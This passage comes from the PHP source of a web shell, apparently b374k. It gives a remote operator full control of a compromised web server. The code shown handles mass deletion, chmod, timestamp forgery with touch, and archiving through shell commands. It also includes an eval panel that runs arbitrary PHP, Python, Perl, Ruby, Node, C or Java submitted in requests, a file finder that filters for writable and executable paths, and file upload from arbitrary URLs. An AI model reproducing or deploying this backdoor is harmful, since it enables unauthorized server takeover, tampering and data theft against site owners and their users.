  1209.                 $s_datenew = strtotime($_GP['touchok']);
  1210.                 foreach ($s_lists as $s_l)
  1211.                     if (touch($s_l, $s_datenew))
  1212.                         $s_counter++;
  1213.                 if ($s_counter > 0)
  1214.                     $s_result .= notif($s_counter . " items changed access and modification time to " . @date("d-M-Y H:i:s", $s_datenew));
  1215.                 else
  1216.                     $s_result .= notif("No items modified");
  1217.             } elseif (isset($_GP['compresszipok'])) {
  1218.                 $s_file = $_GP['compresszipok'];
  1219.                 if (zip($s_lists, $s_file))
  1220.                     $s_result .= notif("Archive created : " . hss($s_file));
  1221.                 else
  1222.                     $s_result .= notif("Error creating archive file");
  1223.             } elseif (isset($_GP['compresstarok'])) {
  1224.                 $s_lists_  = array();
  1225.                 $s_file    = $_GP['compresstarok'];
  1226.                 $s_file    = basename($s_file);
  1227.                 $s_lists__ = array_map("basename", $s_lists);
  1228.                 $s_lists_  = array_map("pf", $s_lists__);
  1229.                 exe("tar cf \"" . $s_file . "\" " . implode(" ", $s_lists_));
  1230.                 if (@is_file($s_file))
  1231.                     $s_result .= notif("Archive created : " . hss($s_file));
  1232.                 else
  1233.                     $s_result .= notif("Error creating archive file");
  1234.             } elseif (isset($_GP['compresstargzok'])) {
  1235.                 $s_lists_  = array();
  1236.                 $s_file    = $_GP['compresstargzok'];
  1237.                 $s_file    = basename($s_file);
  1238.                 $s_lists__ = array_map("basename", $s_lists);
  1239.                 $s_lists_  = array_map("pf", $s_lists__);
  1240.                 exe("tar czf \"" . $s_file . "\" " . implode(" ", $s_lists_));
  1241.                 if (@is_file($s_file))
  1242.                     $s_result .= notif("Archive created : " . hss($s_file));
  1243.                 else
  1244.                     $s_result .= notif("Error creating archive file");
  1245.             } elseif (isset($_GP['extractzipok'])) {
  1246.                 $s_file = $_GP['extractzipok'];
  1247.                 $zip    = new ZipArchive();
  1248.                 foreach ($s_lists as $f) {
  1249.                     $s_target = $s_file . basename($f, ".zip");
  1250.                     if ($zip->open($f)) {
  1251.                         if (!@is_dir($s_target))
  1252.                             @mkdir($s_target);
  1253.                         if ($zip->extractTo($s_target))
  1254.                             $s_result .= notif("Files extracted to " . hss($s_target));
  1255.                         else
  1256.                             $s_result .= notif("Error extrating archive file");
  1257.                         $zip->close();
  1258.                     } else
  1259.                         $s_result .= notif("Error opening archive file");
  1260.                 }
  1261.             } elseif (isset($_GP['extracttarok'])) {
  1262.                 $s_file = $_GP['extracttarok'];
  1263.                 foreach ($s_lists as $f) {
  1264.                     $s_target = "";
  1265.                     $s_target = basename($f, ".tar");
  1266.                     if (!@is_dir($s_target))
  1267.                         @mkdir($s_target);
  1268.                     exe("tar xf \"" . basename($f) . "\" -C \"" . $s_target . "\"");
  1269.                 }
  1270.             } elseif (isset($_GP['extracttargzok'])) {
  1271.                 $s_file = $_GP['extracttargzok'];
  1272.                 foreach ($s_lists as $f) {
  1273.                     $s_target = "";
  1274.                     if (strpos(strtolower($f), ".tar.gz") !== false)
  1275.                         $s_target = basename($f, ".tar.gz");
  1276.                     elseif (strpos(strtolower($f), ".tgz") !== false)
  1277.                         $s_target = basename($f, ".tgz");
  1278.                     if (!@is_dir($s_target))
  1279.                         @mkdir($s_target);
  1280.                     exe("tar xzf \"" . basename($f) . "\" -C \"" . $s_target . "\"");
  1281.                 }
  1282.             }
  1283.         }
  1284.         setcookie("buffer", "", time() - $s_login_time);
  1285.         setcookie("massact", "", time() - $s_login_time);
  1286.     }
  1287.     if (isset($_GP['y'])) {
  1288.         $s_massact = isset($_COOKIE['massact']) ? $_COOKIE['massact'] : "";
  1289.         $s_buffer  = isset($_COOKIE['buffer']) ? rtrim(ss($_COOKIE['buffer']), "|") : "";
  1290.         $s_lists   = explode("|", $s_buffer);
  1291.         if (!empty($s_buffer)) {
  1292.             if ($_GP['y'] == 'delete') {
  1293.                 $s_result .= notif("Delete ? <a href='" . $s_self . "z=delok" . "'>Yes</a> | <a href='" . $s_self . "'>No</a>");
  1294.                 foreach ($s_lists as $s_l)
  1295.                     $s_result .= notif($s_l);
  1296.             } elseif ($_GP['y'] == 'paste' && $s_massact == 'cut') {
  1297.                 $s_result .= notif("Move here ? <a href='" . $s_self . "z=moveok" . "'>Yes</a> | <a href='" . $s_self . "'>No</a>");
  1298.                 foreach ($s_lists as $s_l)
  1299.                     $s_result .= notif($s_l);
  1300.             } elseif ($_GP['y'] == 'paste' && $s_massact == 'copy') {
  1301.                 $s_result .= notif("Copy here ? <a href='" . $s_self . "z=copyok" . "'>Yes</a> | <a href='" . $s_self . "'>No</a>");
  1302.                 foreach ($s_lists as $s_l)
  1303.                     $s_result .= notif($s_l);
  1304.             } elseif ($_GP['y'] == 'chmod') {
  1305.                 $s_result .= notif("Permissions ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='0755' name='chmodok' style='width:30px;text-align:center;' maxlength='4' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1306.                 foreach ($s_lists as $s_l)
  1307.                     $s_result .= notif($s_l);
  1308.             } elseif ($_GP['y'] == 'touch') {
  1309.                 $s_result .= notif("Touch ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='" . @date("d-M-Y H:i:s", time()) . "' name='touchok' style='width:130px;text-align:center;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1310.                 foreach ($s_lists as $s_l)
  1311.                     $s_result .= notif($s_l);
  1312.             } elseif ($_GP['y'] == 'extractzip') {
  1313.                 $s_result .= notif("Extract to ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='" . hss($s_cwd) . "' name='extractzipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1314.                 foreach ($s_lists as $s_l)
  1315.                     $s_result .= notif($s_l);
  1316.             } elseif ($_GP['y'] == 'extracttar') {
  1317.                 $s_result .= notif("Extract to ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='" . hss($s_cwd) . "' name='extracttarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1318.                 foreach ($s_lists as $s_l)
  1319.                     $s_result .= notif($s_l);
  1320.             } elseif ($_GP['y'] == 'extracttargz') {
  1321.                 $s_result .= notif("Extract to ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='" . hss($s_cwd) . "' name='extracttargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1322.                 foreach ($s_lists as $s_l)
  1323.                     $s_result .= notif($s_l);
  1324.             } elseif ($_GP['y'] == 'compresszip') {
  1325.                 $s_result .= notif("Compress to ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='" . hss($s_cwd) . substr(md5(time()), 0, 8) . ".zip' name='compresszipok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1326.                 foreach ($s_lists as $s_l)
  1327.                     $s_result .= notif($s_l);
  1328.             } elseif ($_GP['y'] == 'compresstar') {
  1329.                 $s_result .= notif("Compress to ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='" . hss($s_cwd) . substr(md5(time()), 0, 8) . ".tar' name='compresstarok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1330.                 foreach ($s_lists as $s_l)
  1331.                     $s_result .= notif($s_l);
  1332.             } elseif ($_GP['y'] == 'compresstargz') {
  1333.                 $s_result .= notif("Compress to ? <form action='" . $s_self . "' method='post'><input class='inputz' type='text' value='" . hss($s_cwd) . substr(md5(time()), 0, 8) . ".tar.gz' name='compresstargzok' style='width:50%;' /><input class='inputzbut' name='z' type='submit' value='Go !' /></form>");
  1334.                 foreach ($s_lists as $s_l)
  1335.                     $s_result .= notif($s_l);
  1336.             }
  1337.         }
  1338.     }
  1339.     if (isset($_GP['img'])) {
  1340.         ob_end_clean();
  1341.         $s_d   = isset($_GP['d']) ? $_GP['d'] : "";
  1342.         $s_f   = $_GP['img'];
  1343.         $s_inf = @getimagesize($s_d . $s_f);
  1344.         $s_ext = explode($s_f, ".");
  1345.         $s_ext = $s_ext[count($s_ext) - 1];
  1346.         header("Content-type: " . $s_inf["mime"]);
  1347.         header("Cache-control: public");
  1348.         header("Expires: " . @date("r", @mktime(0, 0, 0, 1, 1, 2030)));
  1349.         header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
  1350.         readfile($s_d . $s_f);
  1351.         die();
  1352.     } elseif (isset($_GP['oldname']) && isset($_GP['rename'])) {
  1353.         $s_old    = $_GP['oldname'];
  1354.         $s_new    = $_GP['rename'];
  1355.         $s_renmsg = "";
  1356.         if (@is_dir($s_old))
  1357.             $s_renmsg = (@rename($s_old, $s_new)) ? "Directory " . $s_old . " renamed to " . $s_new : "Unable to rename directory " . $s_old . " to " . $s_new;
  1358.         elseif (@is_file($s_old))
  1359.             $s_renmsg = (@rename($s_old, $s_new)) ? "File " . $s_old . " renamed to " . $s_new : "Unable to rename file " . $s_old . " to " . $s_new;
  1360.         else
  1361.             $s_renmsg = "Cannot find the path specified " . $s_old;
  1362.         $s_result .= notif($s_renmsg);
  1363.         $s_fnew = $s_new;
  1364.     } elseif (!empty($_GP['del'])) {
  1365.         $s_del = trim($_GP['del']);
  1366.         $s_result .= notif("Delete " . basename($s_del) . " ? <a href='" . $s_self . "delete=" . pl($s_del) . "'>Yes</a> | <a href='" . $s_self . "'>No</a>");
  1367.     } elseif (!empty($_GP['delete'])) {
  1368.         $s_f      = $_GP['delete'];
  1369.         $s_delmsg = "";
  1370.         if (@is_file($s_f))
  1371.             $s_delmsg = (unlink($s_f)) ? "File removed : " . $s_f : "Unable to remove file " . $s_f;
  1372.         elseif (@is_dir($s_f)) {
  1373.             rmdirs($s_f);
  1374.             $s_delmsg = (@is_dir($s_f)) ? "Unable to remove directory " . $s_f : "Directory removed : " . $s_f;
  1375.         } else
  1376.             $s_delmsg = "Cannot find the path specified " . $s_f;
  1377.         $s_result .= notif($s_delmsg);
  1378.     } elseif (!empty($_GP['mkdir'])) {
  1379.         $s_f      = $s_cwd . $_GP['mkdir'];
  1380.         $s_dirmsg = "";
  1381.         $s_num    = 1;
  1382.         if (@is_dir($s_f)) {
  1383.             $s_pos = strrpos($s_f, "_");
  1384.             if ($s_pos !== false)
  1385.                 $s_num = (int) substr($s_f, $s_pos + 1);
  1386.             while (@is_dir(substr($s_f, 0, $s_pos) . "_" . $s_num)) {
  1387.                 $s_num++;
  1388.             }
  1389.             $s_f = substr($s_f, 0, $s_pos) . "_" . $s_num;
  1390.         }
  1391.         if (mkdir($s_f))
  1392.             $s_dirmsg = "Directory created " . $s_f;
  1393.         else
  1394.             $s_dirmsg = "Unable to create directory " . $s_f;
  1395.         $s_result .= notif($s_dirmsg);
  1396.     }
  1397.     if (isset($_GP['x']) && ($_GP['x'] == 'eval')) {
  1398.         $s_code       = "";
  1399.         $s_res        = "";
  1400.         $s_evaloption = "";
  1401.         $s_lang       = "php";
  1402.         if (isset($_GP['evalcode'])) {
  1403.             $s_code       = $_GP['evalcode'];
  1404.             $s_evaloption = (isset($_GP['evaloption'])) ? $_GP['evaloption'] : "";
  1405.             $s_tmpdir     = get_writabledir();
  1406.             if (isset($_GP['lang'])) {
  1407.                 $s_lang = $_GP['lang'];
  1408.             }
  1409.             if (strtolower($s_lang) == 'php') {
  1410.                 ob_start();
  1411.                 eval($s_code);
  1412.                 $s_res = ob_get_contents();
  1413.                 ob_end_clean();
  1414.             } elseif (strtolower($s_lang) == 'python' || strtolower($s_lang) == 'perl' || strtolower($s_lang) == 'ruby' || strtolower($s_lang) == 'node' || strtolower($s_lang) == 'nodejs') {
  1415.                 $s_rand   = md5(time() . rand(0, 100));
  1416.                 $s_script = $s_tmpdir . $s_rand;
  1417.                 if (file_put_contents($s_script, $s_code) !== false) {
  1418.                     $s_res = exe($s_lang . " " . $s_evaloption . " " . $s_script);
  1419.                     unlink($s_script);
  1420.                 }
  1421.             } elseif (strtolower($s_lang) == 'gcc') {
  1422.                 $s_script = md5(time() . rand(0, 100));
  1423.                 chdir($s_tmpdir);
  1424.                 if (file_put_contents($s_script . ".c", $s_code) !== false) {
  1425.                     $s_scriptout = $s_win ? $s_script . ".exe" : $s_script;
  1426.                     $s_res       = exe("gcc " . $s_script . ".c -o " . $s_scriptout . $s_evaloption);
  1427.                     if (@is_file($s_scriptout)) {
  1428.                         $s_res = $s_win ? exe($s_scriptout) : exe("chmod +x " . $s_scriptout . " ; ./" . $s_scriptout);
  1429.                         rename($s_scriptout, $s_scriptout . "del");
  1430.                         unlink($s_scriptout . "del");
  1431.                     }
  1432.                     unlink($s_script . ".c");
  1433.                 }
  1434.                 chdir($s_cwd);
  1435.             } elseif (strtolower($s_lang) == 'java') {
  1436.                 if (preg_match("/class\ ([^{]+){/i", $s_code, $s_r)) {
  1437.                     $s_classname = trim($s_r[1]);
  1438.                     $s_script    = $s_classname;
  1439.                 } else {
  1440.                     $s_rand   = "b374k_" . substr(md5(time() . rand(0, 100)), 0, 8);
  1441.                     $s_script = $s_rand;
  1442.                     $s_code   = "class " . $s_rand . " { " . $s_code . " } ";
  1443.                 }
  1444.                 chdir($s_tmpdir);
  1445.                 if (file_put_contents($s_script . ".java", $s_code) !== false) {
  1446.                     $s_res = exe("javac " . $s_script . ".java");
  1447.                     if (@is_file($s_script . ".class")) {
  1448.                         $s_res .= exe("java " . $s_evaloption . " " . $s_script);
  1449.                         unlink($s_script . ".class");
  1450.                     }
  1451.                     unlink($s_script . ".java");
  1452.                 }
  1453.                 chdir($s_pwd);
  1454.             }
  1455.         }
  1456.         $s_lang_available = "<option value='php'>php</option>";
  1457.         $s_selected       = "";
  1458.         $s_access         = array(
  1459.             "s_python",
  1460.             "s_perl",
  1461.             "s_ruby",
  1462.             "s_node",
  1463.             "s_nodejs",
  1464.             "s_gcc",
  1465.             "s_javac"
  1466.         );
  1467.         foreach ($s_access as $s) {
  1468.             if (isset($$s)) {
  1469.                 $s_t       = explode("_", $s);
  1470.                 $s_checked = ($s_lang == $s_t[1]) ? "selected" : "";
  1471.                 $s_lang_available .= "<option value='" . $s_t[1] . "' " . $s_checked . ">" . $s_t[1] . "</option>";
  1472.             }
  1473.         }
  1474.         $s_evaloptionclass = ($s_lang == "php") ? "sembunyi" : "";
  1475.         $s_e_result        = (!empty($s_res)) ? "<pre id='evalres' class='bt' style='margin:4px 0 0 0;padding:6px 0;' >" . hss($s_res) . "</pre>" : "";
  1476.         $s_result .= "<form action='" . $s_self . "' method='post'>
  1477.                     <textarea id='evalcode' name='evalcode' style='height:150px;' class='txtarea'>" . hss($s_code) . "</textarea>
  1478.                     <table><tr><td style='padding:0;'><p><input type='submit' name='evalcodesubmit' class='inputzbut' value='Go !' style='width:120px;height:30px;' /></p>
  1479.                     </td><td><select name='lang' onchange='evalselect(this);' class='inputzbut' style='width:120px;height:30px;padding:4px;'>
  1480.                     " . $s_lang_available . "
  1481.                     </select>
  1482.                     </td>
  1483.                     <td><div title='If you want to give additional option to interpreter or compiler, give it here' id='additionaloption' class='" . $s_evaloptionclass . "'>Additional option&nbsp;&nbsp;<input class='inputz' style='width:400px;' type='text' name='evaloption' value='" . hss($s_evaloption) . "' id='evaloption' /></div></td>
  1484.                     </tr>
  1485.                     </table>
  1486.                     " . $s_e_result . "
  1487.                     <input type='hidden' name='x' value='eval' />
  1488.                     </form>";
  1489.     } elseif (isset($_GP['find'])) {
  1490.         $s_p                  = $_GP['find'];
  1491.         $s_type               = isset($_GP['type']) ? $_GP['type'] : "sfile";
  1492.         $s_sfname             = (!empty($_GP['sfname'])) ? $_GP['sfname'] : '';
  1493.         $s_sdname             = (!empty($_GP['sdname'])) ? $_GP['sdname'] : '';
  1494.         $s_sfcontain          = (!empty($_GP['sfcontain'])) ? $_GP['sfcontain'] : '';
  1495.         $s_sfnameregexchecked = $s_sfnameicasechecked = $s_sdnameregexchecked = $s_sdnameicasechecked = $s_sfcontainregexchecked = $s_sfcontainicasechecked = $s_swritablechecked = $s_sreadablechecked = $s_sexecutablechecked = "";
  1496.         $s_sfnameregex        = $s_sfnameicase = $s_sdnameregex = $s_sdnameicase = $s_sfcontainregex = $s_sfcontainicase = $s_swritable = $s_sreadable = $s_sexecutable = false;
  1497.         if (isset($_GP['sfnameregex'])) {
  1498.             $s_sfnameregex        = true;
  1499.             $s_sfnameregexchecked = "checked";
  1500.         }
  1501.         if (isset($_GP['sfnameicase'])) {
  1502.             $s_sfnameicase        = true;
  1503.             $s_sfnameicasechecked = "checked";
  1504.         }
  1505.         if (isset($_GP['sdnameregex'])) {
  1506.             $s_sdnameregex        = true;
  1507.             $s_sdnameregexchecked = "checked";
  1508.         }
  1509.         if (isset($_GP['sdnameicase'])) {
  1510.             $s_sdnameicase        = true;
  1511.             $s_sdnameicasechecked = "checked";
  1512.         }
  1513.         if (isset($_GP['sfcontainregex'])) {
  1514.             $s_sfcontainregex        = true;
  1515.             $s_sfcontainregexchecked = "checked";
  1516.         }
  1517.         if (isset($_GP['sfcontainicase'])) {
  1518.             $s_sfcontainicase        = true;
  1519.             $s_sfcontainicasechecked = "checked";
  1520.         }
  1521.         if (isset($_GP['swritable'])) {
  1522.             $s_swritable        = true;
  1523.             $s_swritablechecked = "checked";
  1524.         }
  1525.         if (isset($_GP['sreadable'])) {
  1526.             $s_sreadable        = true;
  1527.             $s_sreadablechecked = "checked";
  1528.         }
  1529.         if (isset($_GP['sexecutable'])) {
  1530.             $s_sexecutable        = true;
  1531.             $s_sexecutablechecked = "checked";
  1532.         }
  1533.         $s_sexecb    = (function_exists("is_executable")) ? "<input class='css-checkbox' type='checkbox' name='sexecutable' value='sexecutable' id='se' " . $s_sexecutablechecked . " /><label class='css-label' for='se'>Executable</span>" : "";
  1534.         $s_candidate = array();
  1535.         if (isset($_GP['sgo'])) {
  1536.             $s_af        = "";
  1537.             $s_candidate = getallfiles($s_p);
  1538.             if ($s_type == 'sfile')
  1539.                 $s_candidate = @array_filter($s_candidate, "is_file");
  1540.             elseif ($s_type == 'sdir')
  1541.                 $s_candidate = @array_filter($s_candidate, "is_dir");
  1542.             foreach ($s_candidate as $s_a) {
  1543.                 if ($s_type == 'sdir') {
  1544.                     if (!empty($s_sdname)) {
  1545.                         if ($s_sdnameregex) {
  1546.                             if ($s_sdnameicase) {
  1547.                                 if (!preg_match("/" . $s_sdname . "/i", basename($s_a)))
  1548.                                     $s_candidate = array_diff($s_candidate, array(
  1549.                                         $s_a
  1550.                                     ));
  1551.                             } else {
  1552.                                 if (!preg_match("/" . $s_sdname . "/", basename($s_a)))
  1553.                                     $s_candidate = array_diff($s_candidate, array(
  1554.                                         $s_a
  1555.                                     ));
  1556.                             }
  1557.                         } else {
  1558.                             if ($s_sdnameicase) {
  1559.                                 if (strpos(strtolower(basename($s_a)), strtolower($s_sdname)) === false)
  1560.                                     $s_candidate = array_diff($s_candidate, array(
  1561.                                         $s_a
  1562.                                     ));
  1563.                             } else {
  1564.                                 if (strpos(basename($s_a), $s_sdname) === false)
  1565.                                     $s_candidate = array_diff($s_candidate, array(
  1566.                                         $s_a
  1567.                                     ));
  1568.                             }
  1569.                         }
  1570.                     }
  1571.                 } elseif ($s_type == 'sfile') {
  1572.                     if (!empty($s_sfname)) {
  1573.                         if ($s_sfnameregex) {
  1574.                             if ($s_sfnameicase) {
  1575.                                 if (!preg_match("/" . $s_sfname . "/i", basename($s_a)))
  1576.                                     $s_candidate = array_diff($s_candidate, array(
  1577.                                         $s_a
  1578.                                     ));
  1579.                             } else {
  1580.                                 if (!preg_match("/" . $s_sfname . "/", basename($s_a)))
  1581.                                     $s_candidate = array_diff($s_candidate, array(
  1582.                                         $s_a
  1583.                                     ));
  1584.                             }
  1585.                         } else {
  1586.                             if ($s_sfnameicase) {
  1587.                                 if (strpos(strtolower(basename($s_a)), strtolower($s_sfname)) === false)
  1588.                                     $s_candidate = array_diff($s_candidate, array(
  1589.                                         $s_a
  1590.                                     ));
  1591.                             } else {
  1592.                                 if (strpos(basename($s_a), $s_sfname) === false)
  1593.                                     $s_candidate = array_diff($s_candidate, array(
  1594.                                         $s_a
  1595.                                     ));
  1596.                             }
  1597.                         }
  1598.                     }
  1599.                     if (!empty($s_sfcontain)) {
  1600.                         $s_sffcontent = @fgc($s_a);
  1601.                         if ($s_sfcontainregex) {
  1602.                             if ($s_sfcontainicase) {
  1603.                                 if (!preg_match("/" . $s_sfcontain . "/i", $s_sffcontent))
  1604.                                     $s_candidate = array_diff($s_candidate, array(
  1605.                                         $s_a
  1606.                                     ));
  1607.                             } else {
  1608.                                 if (!preg_match("/" . $s_sfcontain . "/", $s_sffcontent))
  1609.                                     $s_candidate = array_diff($s_candidate, array(
  1610.                                         $s_a
  1611.                                     ));
  1612.                             }
  1613.                         } else {
  1614.                             if ($s_sfcontainicase) {
  1615.                                 if (strpos(strtolower($s_sffcontent), strtolower($s_sfcontain)) === false)
  1616.                                     $s_candidate = array_diff($s_candidate, array(
  1617.                                         $s_a
  1618.                                     ));
  1619.                             } else {
  1620.                                 if (strpos($s_sffcontent, $s_sfcontain) === false)
  1621.                                     $s_candidate = array_diff($s_candidate, array(
  1622.                                         $s_a
  1623.                                     ));
  1624.                             }
  1625.                         }
  1626.                     }
  1627.                 }
  1628.             }
  1629.         }
  1630.         $s_f_result = "";
  1631.         $s_link     = "";
  1632.         foreach ($s_candidate as $s_c) {
  1633.             $s_c = trim($s_c);
  1634.             if ($s_swritable && !@is_writable($s_c))
  1635.                 continue;
  1636.             if ($s_sreadable && !@is_readable($s_c))
  1637.                 continue;
  1638.             if ($s_sexecutable && !@is_executable($s_c))
  1639.                 continue;
  1640.             if ($s_type == "sfile")
  1641.                 $s_link = $s_self . "view=" . pl($s_c);
  1642.             elseif ($s_type == "sdir")
  1643.                 $s_link = $s_self . "view=" . pl(cp($s_c));
  1644.             $s_f_result .= "<p class='notif' ondblclick=\"return go('" . adds($s_link) . "',event);\"><a href='" . $s_link . "'>" . $s_c . "</a></p>";
  1645.         }
  1646.         $s_tsdir  = ($s_type == "sdir") ? "selected" : "";
  1647.         $s_tsfile = ($s_type == "sfile") ? "selected" : "";
  1648.         if (!@is_dir($s_p))
  1649.             $s_result .= notif("Cannot find the path specified " . $s_p);
  1650.         $s_result .= "<form action='" . $s_self . "' method='post'>
  1651.         <div class='mybox'><h2>Find</h2>
  1652.         <table class='myboxtbl'>
  1653.         <tr><td style='width:140px;'>Search in</td>
  1654.         <td colspan='2'><input style='width:100%;' value='" . hss($s_p) . "' class='inputz' type='text' name='find' /></td></tr>
  1655.         <tr onclick=\"findtype('sdir');\">
  1656.             <td>Dirname contains</td>
  1657.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='" . hss($s_sdname) . "' /></td>
  1658.             <td>
  1659.                 <input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' " . $s_sdnameregexchecked . " /><label class='css-label' for='sdn'>Regex (pcre)</label>
  1660.                 <input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' " . $s_sdnameicasechecked . " /><label class='css-label' for='sdi'>Case Insensitive</label>
  1661.             </td>
  1662.         </tr>
  1663.         <tr onclick=\"findtype('sfile');\">
  1664.             <td>Filename contains</td>
  1665.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='" . hss($s_sfname) . "' /></td>
  1666.             <td>
  1667.                 <input type='checkbox' class='css-checkbox' name='sfnameregex'  id='sfn' " . $s_sfnameregexchecked . " /><label class='css-label' for='sfn'>Regex (pcre)</label>
  1668.                 <input type='checkbox' class='css-checkbox' name='sfnameicase'  id='sfi' " . $s_sfnameicasechecked . " /><label class='css-label' for='sfi'>Case Insensitive</label>
  1669.             </td>
  1670.         </tr>
  1671.         <tr onclick=\"findtype('sfile');\">
  1672.             <td>File contains</td>
  1673.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='" . hss($s_sfcontain) . "' /></td>
  1674.             <td>
  1675.                 <input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' " . $s_sfcontainregexchecked . " /><label class='css-label' for='sff'>Regex (pcre)</label>
  1676.                 <input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' " . $s_sfcontainicasechecked . " /><label class='css-label' for='sffi'>Case Insensitive</label>
  1677.             </td>
  1678.         </tr>
  1679.         <tr>
  1680.             <td>Permissions</td>
  1681.             <td colspan='2'>
  1682.                 <input type='checkbox' class='css-checkbox' name='swritable' id='sw' " . $s_swritablechecked . " /><label class='css-label' for='sw'>Writable</label>
  1683.                 <input type='checkbox' class='css-checkbox' name='sreadable' id='sr' " . $s_sreadablechecked . " /><label class='css-label' for='sr'>Readable</label>
  1684.                 " . $s_sexecb . "
  1685.             </td>
  1686.         </tr>
  1687.         <tr><td>
  1688.         <input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' />
  1689.         </td>
  1690.         <td>
  1691.         <select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'>
  1692.             <option value='sfile' " . $s_tsfile . ">Search file</option>
  1693.             <option value='sdir' " . $s_tsdir . ">Search dir</option>
  1694.         </select>
  1695.         </td>
  1696.         <td></td></tr>
  1697.         </table>
  1698.         </div>
  1699.         </form>
  1700.         <div>
  1701.         " . $s_f_result . "
  1702.         </div>";
  1703.     } elseif (isset($_GP['x']) && ($_GP['x'] == 'upload')) {
  1704.         $s_result = " ";
  1705.         $s_msg    = "";
  1706.         if (isset($_GP['uploadhd'])) {
  1707.             $c = count($_FILES['filepath']['name']);
  1708.             for ($i = 0; $i < $c; $i++) {
  1709.                 $s_fn = $_FILES['filepath']['name'][$i];
  1710.                 if (empty($s_fn))
  1711.                     continue;
  1712.                 if (is_uploaded_file($_FILES['filepath']['tmp_name'][$i])) {
  1713.                     $s_p = cp($_GP['savefolder'][$i]);
  1714.                     if (!@is_dir($s_p))
  1715.                         mkdir($s_p);
  1716.                     if (isset($_GP['savefilename'][$i]) && (trim($_GP['savefilename'][$i]) != ""))
  1717.                         $s_fn = $_GP['savefilename'][$i];
  1718.                     $s_tm = $_FILES['filepath']['tmp_name'][$i];
  1719.                     $s_pi = cp($s_p) . $s_fn;
  1720.                     $s_st = @move_uploaded_file($s_tm, $s_pi);
  1721.                     if ($s_st)
  1722.                         $s_msg .= notif("File uploaded to <a href='" . $s_self . "view=" . pl($s_pi) . "'>" . $s_pi . "</a>");
  1723.                     else
  1724.                         $s_msg .= notif("Failed to upload " . $s_fn);
  1725.                 } else
  1726.                     $s_msg .= notif("Failed to upload " . $s_fn);
  1727.             }
  1728.         } elseif (isset($_GP['uploadurl'])) {
  1729.             $c = count($_GP['fileurl']);
  1730.             for ($i = 0; $i < $c; $i++) {
  1731.                 $s_fu = $_GP['fileurl'][$i];
  1732.                 if (empty($s_fu))
  1733.                     continue;
  1734.                 $s_p = cp($_GP['savefolderurl'][$i]);
  1735.                 if (!@is_dir($s_p))
  1736.                     mkdir($s_p);
  1737.                 $s_fn = basename($s_fu);
  1738.                 if (isset($_GP['savefilenameurl'][$i]) && (trim($_GP['savefilenameurl'][$i]) != ""))
  1739.                     $s_fn = $_GP['savefilenameurl'][$i];
  1740.                 $s_fp = cp($s_p) . $s_fn;
  1741.                 $s_st = dlfile($s_fu, $s_fp);
  1742.                 if ($s_st)
  1743.                     $s_msg .= notif("File uploaded to <a href='" . $s_self . "view=" . pl($s_fp) . "'>" . $s_fp . "</a>");
  1744.                 else
  1745.                     $s_msg .= notif("Failed to upload " . $s_fn);
  1746.             }
  1747.         } else {
  1748.             if (!@is_writable($s_cwd))
  1749.                 $s_msg = notif("Directory " . $s_cwd . " is not writable, please change to a writable one");
  1750.         }
  1751.         if (!empty($s_msg))
  1752.             $s_result .= $s_msg;
  1753.         $s_result .= "
  1754.             <form action='" . $s_self . "' method='post' enctype='multipart/form-data'>
  1755.             <div class='mybox'><h2><div class='but' onclick='adduploadc();'>+</div>Upload from computer</h2>
  1756.             <table class='myboxtbl'>
  1757.             <tbody id='adduploadc'>
  1758.             <tr><td style='width:140px;'>File</td><td><input type='file' name='filepath[]' class='inputzbut' style='width:400px;margin:0;' /></td></tr>
  1759.             <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder[]' value='" . hss($s_cwd) . "' /></td></tr>
  1760.             <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename[]' value='' /></td></tr>
  1761.             </tbody>
  1762.             <tfoot>
  1763.             <tr><td>&nbsp;</td><td>
  1764.             <input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1765.             <input type='hidden' name='x' value='upload' />
  1766.             </td></tr>
  1767.             </tfoot>
  1768.             </table>
  1769.             </div>
  1770.             </form>
  1771.             <form action='" . $s_self . "' method='post'>
  1772.             <div class='mybox'><h2><div class='but' onclick='adduploadi();'>+</div>Upload from internet</h2>
  1773.             <table class='myboxtbl'>
  1774.             <tbody id='adduploadi'>
  1775.             <tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl[]' value='' />
  1776.             </td></tr>
  1777.             <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl[]' value='" . hss($s_cwd) . "' /></td></tr>
  1778.             <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl[]' value='' /></td></tr>
  1779.             </tbody>
  1780.             <tfoot>
  1781.             <tr><td>&nbsp;</td><td>
  1782.             <input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1783.             <input type='hidden' name='x' value='upload' />
  1784.             </td></tr>
  1785.             </table>
  1786.             </div>
  1787.             </form>";
